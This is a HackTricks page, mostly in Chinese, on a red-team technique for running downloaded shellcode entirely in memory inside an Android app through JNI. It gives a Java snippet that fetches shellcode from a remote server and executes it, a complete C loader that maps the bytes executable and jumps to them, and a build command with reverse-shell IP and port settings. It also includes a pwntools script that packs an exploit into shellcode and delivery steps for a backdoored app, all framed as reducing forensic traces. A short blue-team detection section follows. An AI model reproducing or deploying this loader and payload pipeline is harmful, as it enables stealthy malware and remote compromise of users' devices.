Android In-Memory Native Code Execution via JNI (shellcode)
Reading time: 7 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本页面记录了一个实用模式,说明如何在不受信任的 Android app 进程中通过 JNI 完全在内存中执行本地 payload。该流程避免在磁盘上创建任何本地二进制:通过 HTTP(S) 下载原始 shellcode 字节,将它们传递给 JNI 桥,分配 RX 内存,然后跳转执行。
为什么这很重要
- 减少取证痕迹(磁盘上无 ELF)
- 与从 ELF exploit binary 生成的 “stage-2” 本地 payload 兼容
- 符合现代 malware 和 red teams 使用的 tradecraft
高层次流程
- 在 Java/Kotlin 中获取 shellcode 字节
- 使用字节数组调用本地方法 (JNI)
- 在 JNI 中:分配 RW 内存 → 复制字节 → mprotect 为 RX → 调用 entrypoint
最小示例
Java/Kotlin 端
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C JNI 端 (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
注意事项和警告
- W^X/execmem: 现代 Android 强制执行 W^X;anonymous PROT_EXEC mappings 通常仍然允许应用进程在启用 JIT 的情况下使用(受 SELinux policy 限制)。一些设备/ROM 会限制此行为;必要时回退到 JIT-allocated exec pools 或 native bridges。
- Architectures: 确保 shellcode architecture 与设备匹配(通常为 arm64-v8a;x86 仅在 emulators 上)。
- Entrypoint contract: 为你的 shellcode 入口决定约定(无参数 vs 结构体指针)。保持它 position-independent (PIC)。
- Stability: 在跳转前清理 instruction cache;不匹配的 cache 可能在 ARM 上导致崩溃。
Packaging ELF → position‑independent shellcode 一个稳健的操作流水是:
- 使用 musl-gcc 将你的 exploit 构建为静态 ELF
- 使用 pwntools’ shellcraft.loader_append 将 ELF 转换为自加载的 shellcode blob
构建
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
将 ELF 转换为原始 shellcode (amd64 示例)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
为什么 loader_append 有效:它会生成一个小型 loader,将嵌入的 ELF 程序段映射到内存并将控制权转移到其 entrypoint,从而得到一个可以被 memcpy'ed 并由 app 执行的单个 raw blob。
Delivery
- 在你控制的 HTTP(S) 服务器上托管 sc
- 被植入后门的/测试用 app 下载 sc 并调用上文所示的 JNI bridge
- 在你的 operator box 上监听 kernel/user-mode payload 建立的任何 reverse connection
Validation workflow for kernel payloads
- 使用带符号的 vmlinux 以便快速逆向/偏移恢复
- 在方便的 debug image 上对 primitives 进行原型测试(如果可用),但务必在实际 Android 目标上重新验证(kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- 在可行的 app 域中禁止匿名 PROT_EXEC(SELinux policy)
- 强制执行严格的代码完整性(no dynamic native loading from network)并验证更新通道
- 监控可疑的 mmap/mprotect 到 RX 的转换,以及跳转前的大型 byte-array 复制
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。